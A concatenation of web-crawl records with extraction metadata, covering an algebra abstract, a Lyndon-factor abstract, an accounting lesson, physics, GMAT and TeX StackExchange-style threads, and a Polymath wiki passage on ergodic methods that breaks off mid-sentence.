http://www.iam.fmph.uniba.sk/amuc/_vol-62/_no_2/_boda/boda.html	ACTA MATHEMATICA UNIVERSITATIS COMENIANAE Vol. 62, 2 (1993) pp. 191-195 ON THE MINIMAL REDUCTION AND MULTIPLICITY OF $(X^m, Y^n, X^kY^l, X^rY^s)$ E. BODA, D. ORSZAGHOVA and S. SOLCAN Abstract. An explicite formula to calculate the multiplicity of the ideal\linebreak $(X^m, Y^n, X^kY^l, X^rY^s)\cdot A$ in $A = K[X,Y]_(X, Y)$ is given. AMS subject classification. 13H15, 13A30; Secondary 13B25 Keywords. Multiplicity, System of parameters, Reduction of an ideal, Rees ring	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8931471109390259, "perplexity": 11021.76127029322}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-43/segments/1508187824820.28/warc/CC-MAIN-20171021152723-20171021172723-00404.warc.gz"}
https://experts.mcmaster.ca/display/publication1492041	# Counting Lyndon Factors Academic Article • • Overview • • Research • • Identity • • In this paper, we determine the maximum number of distinct Lyndon factors that a word of length $n$ can contain. We also derive formulas for the expected total number of Lyndon factors in a word of length $n$ on an alphabet of size $\sigma$, as well as the expected number of distinct Lyndon factors in such a word. The minimum number of distinct Lyndon factors in a word of length $n$ is $1$ and the minimum total number is $n$, with both bounds being achieved by $x^n$ where $x$ is a letter. A more interesting question to ask is what is the minimum number of distinct Lyndon factors in a Lyndon word of length $n$? In this direction, it is known (Saari, 2014) that a lower bound for the number of distinct Lyndon factors in a Lyndon word of length $n$ is $\lceil\log_{\phi}(n) + 1\rceil$, where $\phi$ denotes the golden ratio $(1 + \sqrt{5})/2$. Moreover, this lower bound is sharp when $n$ is a Fibonacci number and is attained by the so-called finite Fibonacci Lyndon words, which are precisely the Lyndon factors of the well-known infinite Fibonacci word $\boldsymbol{f}$ (a special example of an infinite Sturmian word). Saari (2014) conjectured that if $w$ is Lyndon word of length $n$, $n\ne 6$, containing the least number of distinct Lyndon factors over all Lyndon words of the same length, then $w$ is a Christoffel word (i.e., a Lyndon factor of an infinite Sturmian word). We give a counterexample to this conjecture. Furthermore, we generalise Saari's result on the number of distinct Lyndon factors of a Fibonacci Lyndon word by determining the number of distinct Lyndon factors of a given Christoffel word. We end with two open problems.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8229706287384033, "perplexity": 154.9567388369503}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-06/segments/1674764500076.87/warc/CC-MAIN-20230203221113-20230204011113-00418.warc.gz"}
https://www.instantcertcredit.com/courses/5/lesson/295	### Assignments: Unfinished Assignment Study Questions for Lesson 15 ### Lesson Objectives: - Accounting cycle steps - The steps for analysis and journalizing - Examples of journal entries - Real world application Over the next seven lessons, we will be breaking down the seven different parts of the accounting cycle, starting with journal entries. This lesson will be centered around the first step of the cycle which relies on the analysis and journalizing of financial transactions. The journalizing step is integral to the flow of the remaining steps in the accounting cycle which are depicted in the illustration above. As we move through the accounting cycle, the steps will flow in a clockwise order ending at closing the general ledger account. Let's review the analysis and journalizing actions by looking at a real-world example of the four steps involved. Analyze the situation - First, we need to understand what situation, if any, is affecting the company's finances. For our example, let's say Bob's Furniture Store is generating sales of patio furniture. This involves the inflow of revenue which they will be receiving in either cash or receivables. Decide which accounts are changing - We need to look at the accounts that are being affected. In the case of Bob's furniture, the patio furniture sales affect the cash or accounts receivable and sales revenue accounts. Determine whether the accounts are increasing or decreasing - For each journal entry, we need to look at whether the account value is increased or decreased as a result of the transaction. The company is receiving an asset of cash or extension of credit to the customer; therefore, the cash or accounts receivable accounts will be increasing. The sales revenue account is also increasing as a result of the patio furniture sales. Journalize the transaction - Follow the double entry accounting system to record the transactions, both the debit and the credit. Since the assets are increasing, we would debit the accounts receivable or cash. The second entry would be to credit the sales revenue as it falls under equity. The graphic above depicts how transactions are recorded based on the type of accounting element involved. The key to applying these steps is to follow the direction the balances are going and accurately record the transaction entries. Let's review another example in the same step-by-step format and see how it is recorded as a journal entry. What is the situation? - A company is billed for consulting services which is considered an expense as the services were consumed. Instead of paying the funds up front, the company owes the $5,000 as a payable which is a liability because it is due for a future date. Which accounts are changing? - The company is incurring an expense and changing their accounts payable balance. Increasing or decreasing? - The expense account under Stockholders' equity- Retained Earnings section is increasing, the accounts payable under liabilities is also increasing. Journalizing the transaction - First you need to figure out whether the accounts are being debited or credited. As we just mentioned, the expense account is increased, therefore the account would be debited, since an increase in expenses reduces Stockholders' equity. The accounts payable is also increasing, but it will be credited since it is a liability. The financial accounting equation is shown above. Now, we will look at how the journal entry is recorded by looking at the sample journal entry above. As you can see, the date is listed on the far-left hand side and beside the date is the list of debited and credited accounts. Normally, the debits are shown first and the credits on the right hand side of the journal entry. In this example, the$5,000 is debited out of the operating expense account and the \$5,000 is also credited for the accounts payable account. Above is another example that shows common account names and types of events or transactions that can occur. There are potentially hundreds or thousands of other account types but for the purpose of introductory accounting, we will use these as a reference.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.18661992251873016, "perplexity": 1430.8940273491426}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-40/segments/1600400211096.40/warc/CC-MAIN-20200923144247-20200923174247-00013.warc.gz"}
http://physics.stackexchange.com/questions/27023/unitarity-of-s-matrix-in-qft	Unitarity of S-matrix in QFT I am a beginner in QFT, and my question is probably very basic. As far as I understand, usually in QFT, in particular in QED, one postulates existence of IN and OUT states. Unitarity of the S-matrix is also essentially postulated. On the other hand, in more classical and better understood non-relativistic scattering theory unitarity of S-matrix is a non-trivial theorem which is proved under some assumptions on the scattering potential, which are not satisfied automatically in general. For example, unitarity of the S-matrix may be violated if the potential is too strongly attractive at small distances: in that case a particle (or two interacting with each other particles) may approach each other from infinity and form a bound state. (However the Coulomb potential is not enough attractive for this phenomenon.) The first question is why this cannot happen in the relativistic situation, say in QED. Why electron and positron (or better anti-muon) cannot approach each other from infinity and form a bound state? As far as I understand, this would contradict the unitarity of S-matrix. On the other hand, in principle S-matrix can be computed, using Feynmann rules, to any order of approximation in the coupling constants. Thus in principle unitarity of S-matrix could be probably checked in this sense to any order. The second question is whether such a proof, for QED or any other theory, was done anywhere? Is it written somewhere? - Why do you say that two particles can't form a bound state in QFT? I'm pretty sure there are two-dimensional integrable field theories with scattering $A+B \to C$ and where $A$, $B$ and $C$ are perfectly stable particle states. – Sidious Lord Feb 26 '12 at 15:36 @Sidious Lord: Can I read somewhere about such examples? Can it happen in QED? (As far as I heard, the 2d case is somewhat exceptional in QED: in the Schwinger model polarization of vacuum has an effect of creation of a bound state of electron-positron pair which is a free boson. But I might be wrong about this, I do not really know this.) – MKO Feb 26 '12 at 18:56 Hi @Dilaton: Concerning the tag edit(v3) I would suggest the unitarity tag and the s-matrix-theory tag instead of the qed tag (because OP is really asking about qft) and the research-level tag (because the question is textbook material). – Qmechanic Jan 1 '13 at 16:27 Thanks @Qmechanic, it never hurts when you hava a look at it too when I retag, since you are much much much more knowledgable. I change the tags as you suggest. And happy new year to you :-) – Dilaton Jan 1 '13 at 17:33 In principle, bound states are possible in a QFT. In this case, their states must be part of the S-matrix in- and out- state space in order that the S-matrix is unitary. (Weinberg, QFT I, p.110) However, for QED proper (i.e., without any other species of particles apart from photon, electron, and positron) it happens that there are no bound states; electron and positron only form positronium, which is unstable, and decays quickly into two photons. http://en.wikipedia.org/wiki/Positronium [Edit: Positronium is unstable: http://arxiv.org/abs/hep-ph/0310099 - muonium is stable electromagnetically (i.e., in QED + muon without weak force), but decays via the weak interaction, hence is unstable, too: http://arxiv.org/abs/nucl-ex/0404013. About how to make muonium, see page 3 of this article, or the paper discovering muonium, Phys. Rev. Lett. 5, 63–65 (1960). There is no obstacle in forming the bound state; due to the attraction of unlike charges, an electron is easily captured by an antimuon.] Note that the current techniques for relativistic QFT do not handle bound states well. Bound states of two particles are (in the simplest approximation) described by Bethe-Salpeter equations. The situation is technically difficult because such bound states always have multiparticle contributions. - Unitarity of the S-matrix can be checked perturbatively. Bound states tend to be non-perturbative effects, so may not show up naive perturbative calculations. Unfortunately, the datailed proof is not discussed in many places. One book that has it is Scharf's book on QED. When looking through other books you should look for keywords like optical theorem and Cutkosky rules. Bound states are usefully discussed in the last chapter of vol.1 of Weinberg's tretease on QFT. - In and Out states are not obligatory free states, but can be bound states too, so transitions from free to bound states are also possible. In case of QED with electron-antimuon bound state, its formation is accompanied with photon emission present in the final system state. It does not contradict the unitarity. Problems with proofs in QED and other QFTs are due to wrong coupling term like $jA$ which is not correct alone and is corrected with counterterms. In addition, these counterterms cannot be treated exactly but only perturbatively so the true interaction of true constituents is not seen. - Thanks for the comment. I realize that In and Out states may be bound states in principle. However in QED bound states are not taken into account. That means that free electrons, muons etc. cannot become a bound state (am I wrong?). Also I realize that when one uses Feynmann rules to compute S-matrix, one should include all counterterms. So I think it does not really answer the question. – MKO Feb 26 '12 at 12:40 There is a cross section of producing bound states when two opposite-charge particles collide. All what is necessary is to emit the excess of energy-momentum as photons that is quite possible. Also it is possible to create a pair in the final state that is in a bound state, not free electron and positron. In QED there is no problem with unitarity in this respect. Renormalized and infra-red fixed QED is adequate theory. Feynman rules can include bound states in In and Out states, as a matter of fact. – Vladimir Kalitvianski Feb 26 '12 at 16:47 If I understand correctly, in QED in 4d space-time there is no cross-section of producing bound states when two opposite-charge particles collide. Definitely in the non-relativistic setting two particle coming from infinity and interacting according to Coulomb law (at short distances) cannot collide. – MKO Feb 26 '12 at 18:50 A pair of non interacting electron and positron is described with a product of two plane waves. A bound state is described with a product of a plane wave (center of mass) and a wave function of a bound state, easy. – Vladimir Kalitvianski Feb 26 '12 at 19:53	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9261042475700378, "perplexity": 686.0324050416924}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-41/segments/1410657132646.40/warc/CC-MAIN-20140914011212-00236-ip-10-196-40-205.us-west-1.compute.internal.warc.gz"}
https://gmatclub.com/forum/unlike-the-shiites-who-constitute-the-other-major-branch-of-66762.html?fl=similar	Check GMAT Club Decision Tracker for the Latest School Decision Releases https://gmatclub.com/AppTrack GMAT Club It is currently 24 Mar 2017, 17:23 ### GMAT Club Daily Prep #### Thank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email. Customized for You we will pick new questions that match your level based on your Timer History Track every week, we’ll send you an estimated GMAT score based on your performance Practice Pays we will pick new questions that match your level based on your Timer History # Events & Promotions ###### Events & Promotions in June Open Detailed Calendar # Unlike the Shiites, who constitute the other major branch of new topic post reply Question banks Downloads My Bookmarks Reviews Important topics Author Message TAGS: ### Hide Tags SVP Joined: 04 May 2006 Posts: 1923 Schools: CBS, Kellogg Followers: 23 Kudos [?]: 1066 [0], given: 1 Unlike the Shiites, who constitute the other major branch of [#permalink] ### Show Tags 06 Jul 2008, 19:17 00:00 Difficulty: (N/A) Question Stats: 86% (02:08) correct 14% (01:09) wrong based on 27 sessions ### HideShow timer Statistics 902.Unlike the Shiites, who constitute the other major branch of Islam, the Sunnites do not await the Mahdi as a messenger from God, nor do they endow him with divine qualities or immunity from failure in judgment. (A) nor do they endow him (B) but they do not endow him (C) neither do they endow him (D) and they neither endow him (E) while endowing him neither Friends, can you help me how to tell apart A nd C? Thanks! _________________ If you have any questions you can ask an expert New! SVP Joined: 30 Apr 2008 Posts: 1880 Location: Oklahoma City Schools: Hard Knocks Followers: 41 Kudos [?]: 581 [0], given: 32 ### Show Tags 06 Jul 2008, 19:25 Typically "nor" is used with the idiom "neither...nor", but it can be used alone, although rarely. I think C is correct. when the sentence uses "neither" is kind of like saying "also". This is not a very good explanation. I'm very tired right now. Tough question. I hope I helped at least a little bit. sondenso wrote: 902.Unlike the Shiites, who constitute the other major branch of Islam, the Sunnites do not await the Mahdi as a messenger from God, nor do they endow him with divine qualities or immunity from failure in judgment. (A) nor do they endow him (B) but they do not endow him (C) neither do they endow him (D) and they neither endow him (E) while endowing him neither Friends, can you help me how to tell apart A nd C? Thanks! _________________ ------------------------------------ J Allen Morris **I'm pretty sure I'm right, but then again, I'm just a guy with his head up his a. GMAT Club Premium Membership - big benefits and savings VP Joined: 05 Jul 2008 Posts: 1428 Followers: 39 Kudos [?]: 370 [0], given: 1 ### Show Tags 06 Jul 2008, 19:56 1 This post was BOOKMARKED I disagree. To me A is better than C. As JM explained nor can come up with out neither. I am not sure about the vice versa. Does neither needs nor by all means? this has been bugging me for a while. Can some one explain? Getting back to the Q, Look at the classic disclaimer of any website about their association with GMAC The Graduate Management Admission Council does not endorse, nor is it affiliated in any way with the owner or any content of this Web site. Now compare our Q The Sunnites do not await the Mahdi as a messenger from God, nor do they endow him with divine qualities or immunity from failure in judgment. I confidently feel that the answer is A. What is OA? On a side note, I would like to get to the bottom of neither/nor, either/or and not only but also. How one part of them can appear with out other? VP Joined: 03 Apr 2007 Posts: 1367 Followers: 4 Kudos [?]: 637 [0], given: 10 ### Show Tags 07 Jul 2008, 12:34 sondenso wrote: 902.Unlike the Shiites, who constitute the other major branch of Islam, the Sunnites do not await the Mahdi as a messenger from God, nor do they endow him with divine qualities or immunity from failure in judgment. (A) nor do they endow him (B) but they do not endow him (C) neither do they endow him (D) and they neither endow him (E) while endowing him neither Friends, can you help me how to tell apart A nd C? Thanks! We need a coordinating conjunctions to join 2 independent sentence. "Neither" is not a coordination conjunction Nor, but, and - coordination conjunctions We need to draw a contrast .Therefore " but" and " and" in B and D are not correct. Senior Manager Joined: 25 Nov 2006 Posts: 277 Followers: 2 Kudos [?]: 36 [0], given: 0 ### Show Tags 07 Jul 2008, 16:08 1 This post was BOOKMARKED It is A. Here is a rule... Neither must always be used before a nor... Nor can be used without neither and as a co-ordinating conjunction. SVP Joined: 04 May 2006 Posts: 1923 Schools: CBS, Kellogg Followers: 23 Kudos [?]: 1066 [0], given: 1 ### Show Tags 07 Jul 2008, 18:44 Many many thanks! I am definitely persuaded by: Ashwin_Mohan wrote: Neither must always be used before a nor... Nor can be used without neither and as a co-ordinating conjunction icandy wrote: "Neither" is not a coordination conjunction Nor, but, and - coordination conjunctions _________________ GMAT Club Legend Joined: 01 Oct 2013 Posts: 10668 Followers: 957 Kudos [?]: 213 [0], given: 0 Re: Unlike the Shiites, who constitute the other major branch of [#permalink] ### Show Tags 15 Apr 2015, 09:43 Hello from the GMAT Club VerbalBot! Thanks to another GMAT Club member, I have just discovered this valuable topic, yet it had no discussion for over a year. I am now bumping it up - doing my job. I think you may find it valuable (esp those replies with Kudos). Want to see all other topics I dig out? Follow me (click follow button on profile). You will receive a summary of all topics I bump in your profile area as well as via email. SVP Joined: 17 Jul 2014 Posts: 2377 Location: United States (IL) Concentration: Finance, Economics Schools: Stanford '19 (D) GMAT 1: 650 Q49 V30 GPA: 3.92 WE: General Management (Transportation) Followers: 26 Kudos [?]: 291 [0], given: 147 Unlike the Shiites, who constitute the other major branch of [#permalink] ### Show Tags 15 Apr 2015, 14:44 presence of comma indicates that a FANBOY must be present. would like to see the OA and OE. Unlike the Shiites, who constitute the other major branch of [#permalink] 15 Apr 2015, 14:44 Similar topics Replies Last post Similar Topics: 9 Unlike the other major planets, Pluto has a highly eccentric 11 04 Jun 2012, 21:03 1 Unlike the other major planets, Pluto has a highly eccentric 7 30 May 2010, 09:22 2 Unlike the Shiites, who constitute the other major branch of 14 20 May 2010, 01:22 Unlike in other transportation industries, there are no 1 03 Nov 2009, 04:48 1 Unlike the Shiites, who constitute the other major branch of 4 10 Sep 2009, 05:54 Display posts from previous: Sort by # Unlike the Shiites, who constitute the other major branch of new topic post reply Question banks Downloads My Bookmarks Reviews Important topics Powered by phpBB © phpBB Group and phpBB SEO Kindly note that the GMAT® test is a registered trademark of the Graduate Management Admission Council®, and this site has neither been reviewed nor endorsed by GMAC®.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2509973645210266, "perplexity": 11092.333375927994}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-13/segments/1490218188717.24/warc/CC-MAIN-20170322212948-00431-ip-10-233-31-227.ec2.internal.warc.gz"}
http://tex.stackexchange.com/questions/27170/sections-present-in-pdfbookmarks/27254	# Sections present in pdfbookmarks When I compile my code in XeLaTeX it comes out perfectly in TeXworks. With only one set of pdfbookmarks. See the right hand part of the picture below. When I open that file in Preview or Adobe Reader, there is suddenly an extra set of bookmarks which is from the \section{} commands in my code. See the left hand side of the picture. When I remove the \section{} commands and play around with \setcounter{section}{0} my \firsttitlemarks\thesubsection header gets messed up. The 1:1-2:4 turns into 1:2-2:4 etc. Any ideas on how to remove these extra bookmarks without breaking my header's marks? \documentclass[paper=a5,pagesize=pdftex]{scrbook} \usepackage[top=2cm,bottom=1.5cm, left=1.5cm, right=1.5cm]{geometry} \usepackage[pagestyles]{titlesec} \usepackage{lettrine} \usepackage{xltxtra} \usepackage{tocloft} \usepackage{etoolbox} \usepackage[toc]{multitoc} \usepackage{setspace} \renewcommand{\thesection}{\arabic{section}} \renewcommand{\thesubsection}{\arabic{subsection}} \newcommand\Text{And every plant of the field before it was in the earth, and every herb of the field before it grew: for the LORD God had not caused it to rain upon the earth, and there was not a man to till the ground.} \setcounter{tocdepth}{0} \defaultfontfeatures{Mapping=tex-text} \setmainfont{Cardo} % definition of the page style with required headers \newpagestyle{Biblestyle}{ } % sets the marks to be used (section and subsection) \setmarks{section}{subsection} % sections and subsections formatting \titleformat{\section}{}{\lettrine{\thesection}}{0em}{}[\vskip-1\baselineskip] \titleformat{\subsection}[runin] {\small\bfseries}{\thesubsection}{1em}{} \titlespacing{\section}{1em}{-1pt}{0pt} \titlespacing{\subsection}{0pt}{0pt}{1em} \setlength{\parindent}{0pt} \newlength\NumLen \newlength\LinLen % indents one line of text. Indentation= width of section number + 1em \newcommand\IndOne{% \settowidth\NumLen{\thesection} \setlength\LinLen{\dimexpr\textwidth-\NumLen}%\the\NumLen\the\LinLen \parshape 2 \NumLen \LinLen 0pt \textwidth} % indents two lines of text. Indentation= width of section number + 1em \newcommand\IndTwo{% \settowidth\NumLen{\thesection} \setlength\LinLen{\dimexpr\textwidth-\NumLen}%\the\NumLen\the\LinLen \parshape 3 \NumLen \LinLen \NumLen \LinLen 0pt \textwidth} \usepackage[none]{hyphenat} \sloppy \usepackage{hyperref} \hypersetup{ bookmarksdepth=1, unicode=true, citecolor={black}, urlcolor={black}, pdffitwindow=true, } \renewcommand\cfttoctitlefont{\huge\hfill} \renewcommand\cftaftertoctitle{\hfill} \renewcommand{\cftchapdotsep}{\cftdot} \renewcommand{\cftpartfont}{\hfill\bfseries} \renewcommand{\cftchapfont}{\mdseries} \renewcommand{\cftpartpagefont}{\hfill\footnotesize\bfseries} \renewcommand{\cftchappagefont}{\mdseries} \setlength{\cftbeforetoctitleskip}{-4em} \setlength{\cftaftertoctitleskip}{3em} \setlength{\cftbeforechapskip}{.3em} \setlength{\cftbeforepartskip}{.3em} \setlength{\columnsep}{2pc} \setlength\columnseprule{.4pt} \begin{document} \frontmatter % Titlepage \pdfbookmark[0]{Titlepage}{title} \title{} \subject{ \vspace{3cm} \textbf{\Large{THE}\\\vspace{-0.3cm} \Huge{HOLY}\\\vspace{0.05cm} \Huge{BIBLE}}\\\vspace{0.5cm} \author{} \date{} } \maketitle \cleardoublepage \pdfbookmark[0]{\contentsname}{tofcontents} \begin{spacing}{0.01} \tableofcontents \end{spacing} \cleardoublepage \mainmatter \pagestyle{Biblestyle} \newlength{\myIndent} \begin{center} \phantomsection \phantomsection THE FIRST BOOK OF MOSES, CALLED\\ \vspace{0.15cm}\textbf{\Huge{GENESIS}}\vspace{0.00cm}\\ \end{center} \renewcommand{\chaptertitle}{Genesis} \setcounter{section}{0} \pdfbookmark[1]{1}{01O1} \section{}\settowidth{\myIndent} {\IndOne \Text} \ifdimless{\the\myIndent} {.99\textwidth} {\IndOne \Text \stepcounter{subsection} \subsection{} \IndOne \Text} {\IndTwo \Text \stepcounter{subsection} \subsection{} \Text} \subsection{} \Text \subsection{} \Text \subsection{} \Text \subsection{} \Text \subsection{} \Text \pdfbookmark[1]{2}{01O2} \section{}\settowidth{\myIndent} {\IndOne \Text} \ifdimless{\the\myIndent} {.99\textwidth} {\IndOne \Text \stepcounter{subsection} \subsection{} \IndOne \Text} {\IndTwo \Text \stepcounter{subsection} \subsection{} \Text} \subsection{} \Text \subsection{} \Text \subsection{} \Text \subsection{} \Text \subsection{} \Text \begin{center} \cleardoublepage \phantomsection THE SECOND BOOK OF MOSES, CALLED\\ \vspace{0.15cm}\textbf{\Huge{EXODUS}}\vspace{0.00cm}\\ \end{center} \renewcommand{\chaptertitle}{Exodus} \setcounter{section}{0} \pdfbookmark[1]{1}{02O1} \section{}\settowidth{\myIndent} {\IndOne \Text} \ifdimless{\the\myIndent} {.99\textwidth} {\IndOne \Text \stepcounter{subsection} \subsection{} \IndOne \Text} {\IndTwo \Text \stepcounter{subsection} \subsection{} \Text} \subsection{} \Text \subsection{} \Text \subsection{} \Text \subsection{} \Text \subsection{} \Text \end{document} - Please try to reduce your code to a minimal working example, emphasis on minimal. – frabjous Sep 1 '11 at 13:54 Use the following code after hyperref: \makeatletter \def\toclevel@section{2} \makeatother Normally \toclevel@section has the number 1. The number of the \tocleve@<structure element> is used by bookmarksdepth. So the level for every section is changed in the bookmark. Now section is on the same level as subsection. - Thanks. I've found another solution which I'll post tomorrow as the site won't allow me to answer my own question right now. But your solution is a bit cleaner to implement and seems to work. – McGafter Sep 1 '11 at 14:09 \addtocounter{chapter}{1} to and removing the custom bookmark \pdfbookmark[1]{1}{02O1} from every chapter or Bible book name after the first solved it. \addtocounter{chapter}{1} \renewcommand{\chaptertitle}{Exodus} \setcounter{section}{0} %\pdfbookmark[1]{1}{02O1} -	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8538889288902283, "perplexity": 9896.354876819942}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-22/segments/1432207929012.53/warc/CC-MAIN-20150521113209-00276-ip-10-180-206-219.ec2.internal.warc.gz"}
http://michaelnielsen.org/polymath1/index.php?title=Ergodic-inspired_methods&diff=prev&oldid=1329	# Difference between revisions of "Ergodic-inspired methods" These methods are inspired by the Furstenberg-Katznelson argument and the ergodic perspective. ## Idea #1: extreme localisation Let $A \subset [3]^n$ be line-free with density $\delta$. Let $m = m(\delta)$ be a medium size integer independent of n. We embed $[3]^m$ inside $[3]^n$ to create a random set $A_m \subset [3]^m$ which enjoys stationarity properties. We then look at the events $E_{i,j}$ for $1 \leq i \leq j \leq m$, which are the event that $1^i 0^{j-i} 2^{m-j}$ lies in $A_m$. As A is line-free, we observe that $E_{i,i}, E_{i,j}, E_{j,j}$ cannot simultaneously occur for any $1 \leq i \lt j \leq m$. Also, each of the $E_{i,j}$ have probability about $\delta$. On the other hand, by the first moment method, many of the $E_{i,i}$ hold with positive probability. Some Cauchy-Schwarz then tells us that there exists $1 \leq i \lt i' \lt j \lt j' \leq n$ such that $E_{i,j} \wedge E_{i',j} \wedge E_{i,j'} \wedge E_{i',j'}$ has probability significantly larger than $\delta^4$. One can view the events $E_{i,j}$ as an i+m-j-uniform hypergraph, by fixing a base point x and viewing the random subspace $[3]^m$ as formed by modifying x on m random indices. The above correlation would mean some significant irregularity in this hypergraph; the hope is that this implies some sort of usable structure on A that can be used, for instance to locate a density increment. ## Idea #2: IP Roth first McCutcheon.508 (revised 2-17): I will give my general idea for a proof. I’m pretty sure it’s sound, though it may not be feasible in practice. On the other hand I may be badly mistaken about something. I will throw it out there for someone else to attempt, or say why it’s nonsense, or perhaps ignore. I won’t formulate it as a strategy to prove DHJ, but of what I’ve called IP Roth. If successful, one could possibly adapt it to the DHJ, k=3 situation, but there would be complications that would obscure what was going on. We work in $X=[n]^{[n]}\times [n]^{[n]}.$ For a real valued function $f$ defined on $X$, define $\|\|f\|\|_1=(\mathrm{IP-lim}_a\mathrm{IP-lim}_b {1\over \|X\|}\sum_{(x,y)\in X} f((x,y))f((x+a,y))f((x+b,y-b))f((x+a+b,y-b)))^{1/4},$ $\|\|f\|\|_2=(\mathrm{IP-lim}_a\mathrm{IP-lim}_b {1\over \|X\|}\sum_{(x,y)\in X} f((x,y))f((x,y+a))f((x+b,y-b))f((x+b,y+a-b)))^{1/4}.$ Now, let me explain what this means. $a$ and $b$ are subsets of $[n]$, and we identify $a$ with the characteristic function of $a$, which is a member of $[n]^{[n]}.$ (That is how we can add $a$ to $x$ inside, etc. Since $[n]$ is a finite set, you can’t really take limits, but if $n$ is large, we can do something almost as good, namely ensure that whenever $\max\alpha\lt\min\beta$, the expression we are taking the limit of is close to something (Milliken Taylor ensures this, I think). Of course, you have to restrict $a$ and $b$ to a subspace. What is a subspace? You take a sequence $a_i$ of subsets of $[n]$ with $\max a_i\lt\min a_{i+1}$ and then restrict to unions of the $a_i.$ Now here is the idea. Take a subset $E$ of $X$ and let $f$ be its balanced indicator function. You first want to show that if either of the above-defined 2-norms of 